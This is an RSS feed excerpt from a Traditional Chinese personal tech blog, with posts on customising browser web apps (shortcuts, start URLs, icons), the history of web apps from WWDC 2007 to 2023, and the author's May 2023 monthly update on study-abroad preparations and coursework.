32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>找到所有的 YouTube 快捷鍵</p>
<p>找到想用的功能，這裡我用的有：</p>
<ul>
<li>兩個側鍵分別可以用來倒轉/快進影片 5 秒：<kbd>←</kbd>、<kbd>→</kbd></li>
<li>中鍵則可以開啟/關閉劇院模式：<kbd>T</kbd></li>
</ul>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/web-apps-fine-tune-ii/youtube-keyboard-shortcuts.jpg"
      class="mx-auto my-0 rounded-md"
      alt="滑鼠客製化設定頁面"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">然後就可以把常用的功能設定在這些側鍵上 (紫色框起來的地方)</figcaption>
</figure>
</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x8ltp9s"></script>
    <style type="text/css">
      
      .dailymotion-player-root,
      .dailymotion-player-wrapper {
        margin-left: auto;
        margin-right: auto;
        margin-top: 0;
        margin-bottom: 0;
        border-radius: 0.375rem;
      }
    </style>
<figcaption class="text-center">最後操作起來大概就會長這樣</figcaption>
<p>兩個側鍵的組合最常用的配置就是：</p>
<ul>
<li>前進 / 後退 (瀏覽器紀錄、影片)</li>
<li>復原 / 重做 (<kbd>Ctrl</kbd> + <kbd>Z</kbd> / <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd>)</li>
<li>上一頁 / 下一頁</li>
</ul>
<p>這裡再提供一個比較不一樣的例子：Google Meet。我在官方的<a href="https://support.google.com/a/users/answer/9896256?hl=zh-Hant" target="_blank" rel="noreferrer">鍵盤快捷鍵<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>指南裡發現其實 Google 有蠻多內建的鍵盤快捷鍵，最後我設定了：</p>
<ul>
<li>側鍵 (1)：開啟 / 關閉麥克風 (<kbd>⌘</kbd> + <kbd>D</kbd>)</li>
<li>側鍵 (2)：舉手 / 把手放下 (<kbd>⌘</kbd> + <kbd>⌃Ctrl</kbd> + <kbd>H</kbd>)</li>
<li>側邊滾輪：調整電腦音量</li>
</ul>
<p>通常滑鼠廠商的軟體都會原生支援像 Cisco WebEx 或是 Zoom 這種獨立安裝的 App，但因為 Google Meet 是網頁的，所以就只能自己<del>家庭代工</del>手動設定了。</p>
<h2 id="-鍵盤快捷鍵" class="relative group">⌨️ 鍵盤快捷鍵 </h2><p>也許你的滑鼠沒有側鍵，但同樣的套路也可以應用在鍵盤上！而且因為按鍵變得更多了，所以可以設定的玩法又更加多元。</p>
<p>邏輯跟上面的滑鼠快捷鍵一樣，只是把快捷鍵改成鍵盤快捷鍵而已。這裡就不多贅述</p>
<p>如果你用的是<del>夜市 100 塊的</del>便宜鍵盤，沒有附軟體可以修改，可以搜尋一種叫做「按鍵精靈」的程式，裝了以後也可以達成一樣的效果，但那部分就留給有需要的人自行探索囉</p>
<h2 id="-小腳本" class="relative group">📝 小腳本 </h2><p>延續上面講到的「按鍵精靈」，這類的程式也可以用來幫 Web Apps 錦上添花。在 Mac 上可以用 Keyboard Maestro 來達成：</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/web-apps-fine-tune-ii/github-ime-switcher.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Keyboard Maestro GitHub 自動輸入法切換截圖"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">比方說在切換到 GitHub 的時候自動把輸入法切換到英文<br/>因為我實在想不起來上一次在這個網站上打中文是什麼時候了 😅</figcaption>
</figure>
</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/web-apps-fine-tune-ii/youtube-one-click-download.jpg"
      class="mx-auto my-0 rounded-md"
      
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">或是在 YouTube 裡面把古早時期的退片鍵改裝成一鍵下載<br/><del>這是什麼世代傳承 XDD</del></figcaption>
</figure>
</p>
<p>但是這些設定起來有點複雜，就留給有興趣的人當回家功課囉 😜</p>
<h2 id="-結論" class="relative group">🌈 結論 </h2><p>總之，Web Apps 被抽離瀏覽器之後的玩法非常多元，只要你的工具軟體可以針對應用程式客製化，就可以把同樣的作法套在 Web Apps 上。</p>
<p>那就祝大家玩得愉快囉，有興趣的也可以私訊我分享你的玩法哈哈哈哈</p>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">web-apps-fine-tune-ii</guid><pubDate>Sat, 17 Jun 2023 04:43:04 +0800</pubDate></item><item><title>Web Apps 優化指南：基礎設定篇</title><link>https://blog.tomy.me/zh-tw/posts/web-apps-fine-tune-i/</link><description>如何安裝、設定 Icon</description><content:encoded><![CDATA[<p>繼<a href="/zh-tw/posts/web-apps-introduction/">上一篇</a>講完了 Web Apps 的起源和在手機端的故事，讓我們再拉回電腦端的 Web Apps。</p>
<p>在蘋果宣佈回歸 Web Apps 之前，Google 早在 <a href="https://web.archive.org/web/20200306015245/https://support.google.com/chrome_webstore/answer/3060053" target="_blank" rel="noreferrer">2020 年<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>就在 Chrome 上支援這項功能了 <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，而這也是我過去這幾年主要使用的方式，所以接下來會以 Chrome 來示範操作，但概念是互通的，理論上就算是別的瀏覽器也可以做到。</p>
<h2 id="-安裝-web-apps" class="relative group">📦 安裝 Web Apps </h2><p>你可以依照你常用的瀏覽器來安裝 Web Apps：</p>
<ul>
<li>Chromium 核心的瀏覽器 (Chrome, Edge, Brave&hellip;等)<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> 可以按照 Google 的這份<a href="https://support.google.com/chrome_webstore/answer/3060053?hl=zh-Hant" target="_blank" rel="noreferrer">指南<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li>Safari 要等新的 macOS Sonoma 推出才能使用，但是你可以偷看一下<a href="https://www.youtube.com/live/GYkq9Rgoj8E?t=3303" target="_blank" rel="noreferrer">實際操作的影片<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li>Firefox 本來有這個功能，但他們把他<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1682593" target="_blank" rel="noreferrer">拔掉了<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> QQQQQQ</li>
</ul>
<p>好啦現在你知道為什麼我要用 Chrome 來示範了吧 😂😂</p>
<p>這邊來補充一個小撇步</p>
<h3 id="-客製化主頁連結" class="relative group">🔗 客製化主頁連結 </h3><p>以 Facebook 的 Messenger 為例，這個網頁的主要連結是 <a href="https://www.messenger.com" target="_blank" rel="noreferrer">https://www.messenger.com<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，當瀏覽器載入這個連結的時候，網址會自動被修正為現在聊天清單的第一個聊天室，以我現在的聊天室來說，就會跳轉到 <a href="https://www.messenger.com/t/2028991214079769" target="_blank" rel="noreferrer">https://www.messenger.com/t/2028991214079769<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 也就是薩泰爾娛樂的聊天室。如果我在這個時候建立 Web Apps，那我的 Web Apps 就會以這個聊天室作為主要連結，所以每次打開都一定會跳到這個聊天室。</p>
<p>這時，我們可以按右鍵 →「檢查」→ 在開發者工具上方的分頁中找到「Console」，然後在這裡面輸入這個指令：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">history</span><span class="p">.</span><span class="nx">pushState</span><span class="p">({},</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="s2">&#34;https://www.messenger.com&#34;</span><span class="p">);</span>
</span></span></code></pre></div><p>這個指令只會做一件事：在不重新整理網頁的前提下，把連結修改成我們要的樣子。請注意直接修改網址列的網址不按 Enter 是沒有用的，所以才要用這個方法。</p>
<p>好啦我知道還是有人會覺得很困惑，所以還是來影片支援一下：</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x8lkt9z"></script>
    <style type="text/css">
      
      .dailymotion-player-root,
      .dailymotion-player-wrapper {
        margin-left: auto;
        margin-right: auto;
        margin-top: 0;
        margin-bottom: 0;
        border-radius: 0.375rem;
      }
    </style>
<p>修改完連結之後就可以照原本的步驟安裝 Web Apps 囉！</p>
<h2 id="-更換-icon" class="relative group">🏵️ 更換 Icon </h2><p>像 iOS 和 Android 都有一些既定的設計風格可以遵循，所以視覺上看起來比較統一、舒服。而到了網頁端就沒有這麼嚴謹的規範，所以 Icon 通常就會長的比較五花八門一點，這時就可以考慮來幫 Web Apps 換上更貼近其他系統程式的 Icon。</p>
<p>以下我以 macOS 示範，但是 Windows 也可以按照類似的方式達成</p>
<ol>
<li>在<a href="https://developer.apple.com/design/resources/#macos-apps" target="_blank" rel="noreferrer">蘋果官方的開發者網站<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>上找到 macOS 的 Icon 藍圖</li>
<li>通常這些 Web App 都有原生的手機 App，所以可以從它的手機 App 網頁上取得完整的 Icon，通常我會用<a href="https://bendodson.com/projects/itunes-artwork-finder/" target="_blank" rel="noreferrer">這個網站<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>來取得解析度比較高的 Icon</li>
<li>搭配前面的藍圖，把 Icon 切出圓角</li>
</ol>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/web-apps-fine-tune-i/sketch-messenger-icon-demo.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Messenger Icon 在 Sketch 中編輯"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">在 Sketch 上的話，你要找的功能是「圖層的 Clipping Mask」<br/>修圖的部分不會的自己估狗一下，本文不贅述，最後成品大概會長這樣</figcaption>
</figure>
</p>
<p>如果這個操作太騷了你做不來，另一個簡單的方式是上 <a href="https://macosicons.com" target="_blank" rel="noreferrer">macOSicons<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，這裡有各式各樣的 Icon 可以下載</p>
<ol start="4">
<li>最後在 App 上點右鍵 → 「取得資訊」，然後把做好的 Ionc 拉到原本的 Icon 上覆蓋上去</li>
<li>然後就是&hellip;Do Re Mi So 🪄</li>
</ol>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/web-apps-fine-tune-i/icon-before.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Dock 中的舊 Messenger Icon"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/web-apps-fine-tune-i/icon-after.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Dock 中的新 Messenger Icon"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">這樣看起來明顯舒服多了吧 😌</figcaption>

<p>最後提醒一點：記得把新的 Icon 備份起來，以防 Chrome 會時不時的把網站原本的 Icon 套回來</p>
<h2 id="-下集預告" class="relative group">🎬 下集預告 </h2><p>這一篇討論了 Web Apps 的初步設定，<a href="/zh-tw/posts/web-apps-fine-tune-ii/">下一篇</a>會進一步延伸到優化各個網站的操作細節，敬請期待 😆</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>以前有一個東西叫做 Chrome Apps，就是使用者可以在 Chrome Web Store 上下載 Apps 放到 Chrome 裡面用，他的底層是透過 Web Apps 來實作的，但是這個東西已經被 Google 砍掉了，故本文不討論。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Arc 是使用 Chromium 核心，但是他們把這個功能拔掉了，所以不支援 Web Apps&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">web-apps-fine-tune-i</guid><pubDate>Thu, 08 Jun 2023 23:45:46 +0800</pubDate></item><item><title>Web Apps 的前世今生</title><link>https://blog.tomy.me/zh-tw/posts/web-apps-introduction/</link><description>與他們的產地</description><content:encoded><![CDATA[<p>最近在整理瀏覽器的設定和環境，回頭一看發現我安裝的 Web Apps 已經被我改到不輸原生 App 的體驗了，不如就來分享一下 Web Apps 這個酷酷的功能吧！</p>
<h2 id="-web-apps-的前世今生" class="relative group">📜 Web Apps 的前世今生 </h2><p>說起 Web Apps 的誕生，我們必須回到 WWDC 2007：</p>
<p>當時 iPhone 第一代剛發佈不到半年，此時的 iPhone 還沒有 App Store，所以使用者能玩的功能完全受限於蘋果所提供的內建 App，唯一的例外就是使用 Safari 到某個網頁執行某些特定的功能，比方說網路銀行，或上 Amazon 血拼。</p>
<p>於是蘋果就想：那不如我們就幫 Safari 加上一個「存到桌面」的功能吧！於是 Web Apps 的概念就這麼誕生了。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/web-apps-introduction/wwdc-2007-web-apps.jpg"
      class="mx-auto my-0 rounded-md"
      alt="賈伯斯在 WWDC 2007 宣布 iPhone 支援 Web Apps"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">想當年這個功能還是<a href="https://youtu.be/UNfeWpghR4c?t=4404" target="_blank" rel="noreferrer">老賈親自宣布<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>的呢</figcaption>
</figure>
</p>
<p>所以 Web Apps 顧名思義就是把網頁 (Web) 封裝成 App。跟原生 App (在 App Store 裡下載，或是從網路上載下來安裝在本機的 App) 最大的差別在於他就是網頁，只是被瀏覽器封裝起來而已，雖然運行的方式有很大的不同，但兩者在不同方面還是各有優劣：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>原生 App</th>
          <th>Web App</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>安裝</td>
          <td>下載後安裝到本機</td>
          <td>不用下載、不用安裝</td>
      </tr>
      <tr>
          <td>使用</td>
          <td>從本機開啟，可以離線執行</td>
          <td>每次開啟都會連到網站上進行任何操作</td>
      </tr>
      <tr>
          <td>更新</td>
          <td>再下載安裝一次</td>
          <td>每次使用都是最新的版本</td>
      </tr>
      <tr>
          <td>安全</td>
          <td>可能會在系統上執行任何奇怪的程式</td>
          <td>受限於瀏覽器，沒辦法亂搞電腦</td>
      </tr>
      <tr>
          <td>功能</td>
          <td>在作業系統的允許範圍內，可以達成任何功能</td>
          <td>有些系統才能提供的功能，瀏覽器可能不支援</td>
      </tr>
  </tbody>
</table>
<figcaption class="text-center">以上這些都是「大部分」情況，僅供參考</figcaption>
<p>可惜好景不常，只過了不到一年，蘋果就決定改為全力推動原生 App，隨著 App Store 的發布，雖然這個功能依舊存在，但已經漸漸的被大家淡忘，可以說 Web App 的車才剛發，就已經翻了 (笑</p>
<p>在那之後，網頁開發的技術不斷迭代，後來甚至成長出了 <a href="https://noob.tw/why-pwa/" target="_blank" rel="noreferrer">PWA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 這樣的生態系，但那部分有點太技術了，我也沒那麼熟悉，所以有興趣的人就&hellip;自行移駕唄。</p>
<p>身為使用者，只要知道：</p>
<ul>
<li>現在的 Web App 比以前更接近原生 App 了 🎉🎉</li>
<li>因為 Apple 會嚴格審查每一個上架到 App Store 的 App，所以 Web Apps 是一個繞過這個限制的好方法。</li>
</ul>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/web-apps-introduction/wwdc-2023-web-apps.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Mac 版的 Web Apps 在 WWDC 2023 發表"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">時間快轉到 16 年後的&hellip;&hellip;昨天 XDDDDD</figcaption>
</figure>
</p>
<p>在 WWDC 2023 中，除了發布貴參參的<del>高科技潛水護目鏡</del>  Vision Pro 之外，蘋果終於決定把這個 iOS 獨佔了 16 年的功能帶回 macOS，應該也可以說是 Web Apps 與 Safari 的多年之後在彼岸的另一端重逢吧。</p>
<h2 id="-下集預告" class="relative group">🎬 下集預告 </h2><p><a href="/zh-tw/posts/web-apps-fine-tune-i/">下一集</a>進入實戰篇，來聊聊可以怎麼設定 Web Apps，讓使用體驗更接近原生 App！</p>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">web-apps-introduction</guid><pubDate>Wed, 07 Jun 2023 18:01:12 +0800</pubDate></item><item><title>2023 年 5 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-may-dump/</link><description>強勢回歸台灣！！！</description><content:encoded><![CDATA[<p>5 月前半個月在<a href="/zh-tw/posts/saigon/">🇻🇳 西貢</a>，心得已經出刊了，有興趣的可以去看看，這裡不多贅述。後半個月回台灣之後處理了不少雜事，大部分都是跟之後出國有關的前置手續：</p>
<ul>
<li>留學貸款</li>
<li>美國簽證</li>
<li>拍全家福</li>
<li>國際駕照</li>
<li>買機票</li>
</ul>
<p>這裡大概只所有雜事的一半吧，還有很多還沒研究的東西應該會陸續在 6 月完成，然後 7 月底出發。</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><p><a href="/zh-tw/posts/2023-april-dump/#-下個月的目標">點我</a>看看上個月的目標</p>
<h3 id="-寫文章" class="relative group">🟡 寫文章 </h3><p>原本預計是寫 7 篇，但是礙於某些文章的素材還沒湊齊，加上時間不夠等種種因素，所以只有其中的 4 篇有付諸實現，但實際上還是寫了 5 篇文啦，因為碩士申請心得拆成上下篇了。總之產量還算在預期內啦，上個月本來就是故意設了一個高標，才可以有現在的結果，所以我覺得算是可接受 👌🏻</p>
<ul>
<li><a href="/zh-tw/posts/the-sense-of-internationalized-2/">怎樣叫國際化 Pt.2</a></li>
<li><a href="/zh-tw/posts/saigon/">🇻🇳 西貢</a></li>
<li>MSCS 申請心得文 (<a href="/zh-tw/posts/mscs-applying-reflection-i/">上篇</a>、<a href="/zh-tw/posts/mscs-applying-reflection-ii/">下篇</a>)</li>
<li><a href="/zh-tw/posts/ethical-travel/">The Ethical Traveler 的閱讀心得</a></li>
</ul>
<p>如果有錯過的話，不妨現在現在點進去看吧 👍🏻</p>
<h3 id="-side-project-網站" class="relative group">❌ Side Project 網站 </h3><p>進度 0，碰都沒碰 🙈</p>
<p>好啦也不至於到碰都沒碰。我有把網站的專案打開來看了一下，結果正要開始處理的時候就覺得，好像有很多 Side Project 的狀態都處在一個半成品的狀態，如果直接上架，我自己也很難用一個產品的角度去推銷這些垃圾。於是就把他擱著想說等之後整理好再上架，然後這件事就被我給忘了 QQ。</p>
<h3 id="-leetcode-刷-20-題" class="relative group">🟡 LeetCode 刷 20 題 </h3><p>刷了 3 題 XDDDDD</p>
<p>而且本來應該是 0，但還好我後來亂入了我室友他朋友們開的一個 LeetCode 線上刷題會，所以最後有寫了 3 題。久久沒碰這種程式競技的題目，腦子都快生鏽轉不動了，值得慶幸的是還好現在才 5 月就動工，應該還不算太晚，另外一點是每題的解題時間比我想像中的短很多，要刷個破百題應該不是什麼難事，之後再陸續追蹤吧。</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>整理我的各種家當：目前我的家當大概是&hellip;
<ul>
<li>書桌上有一座山的雜物</li>
<li>我爸的書桌上有一小塊有一堆我從歐洲回來放到現在的<del>垃圾</del>雜物</li>
<li>房間裡有很多疊不知道該帶出國，永久封存，還是丟到的衣服</li>
<li>我家的餐桌現在是我的辦公桌 (我知道這看起來很荒謬，但這故事有點長改天再說)</li>
<li>以上 4 項至少先解決個 2 項應該不難 吧</li>
</ul>
</li>
<li>LeetCode 30 題：理論上刷題會應該會貢獻個 5，6 題，而且有可能會再開一個，假設一題算 40 分鐘，30 題理論上只會佔據我 20 小時的工時，理想的分佈應該是一週 5 小時挑其中的兩天或三天來達成。</li>
<li>把 AppShelf 收尾，寫一篇文章，上架到 Side Project 網站上</li>
</ol>
<p>有空的話在部落格寫一個「關於我」的頁面好了，礙於先修課的課業量有點重，這個當作支線任務好了，有空再解。</p>
<h2 id="-15-513-電腦系統概論" class="relative group">🏛 15-513 電腦系統概論 </h2><p>這個月開始上 CMU 的 <a href="https://www.cs.cmu.edu/~213/" target="_blank" rel="noreferrer">15-513<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 先修課了！</p>
<p>目前上起來感覺是課業量非常重的一門課，目前已知會有 8 份紙本<abbr title="Assignment">作業</abbr>還有 8 份<abbr title="Lab">程式作業</abbr>，所以幾乎是每個禮拜兩種作業都會各出一份。而且最令人頭痛的是：程式作業通常從發下來到繳交期限會有 10 天，雖然聽起來很長，但依據目前的經驗，就算第一天就動工，也不見得能在 10 天內想到要怎麼寫。</p>
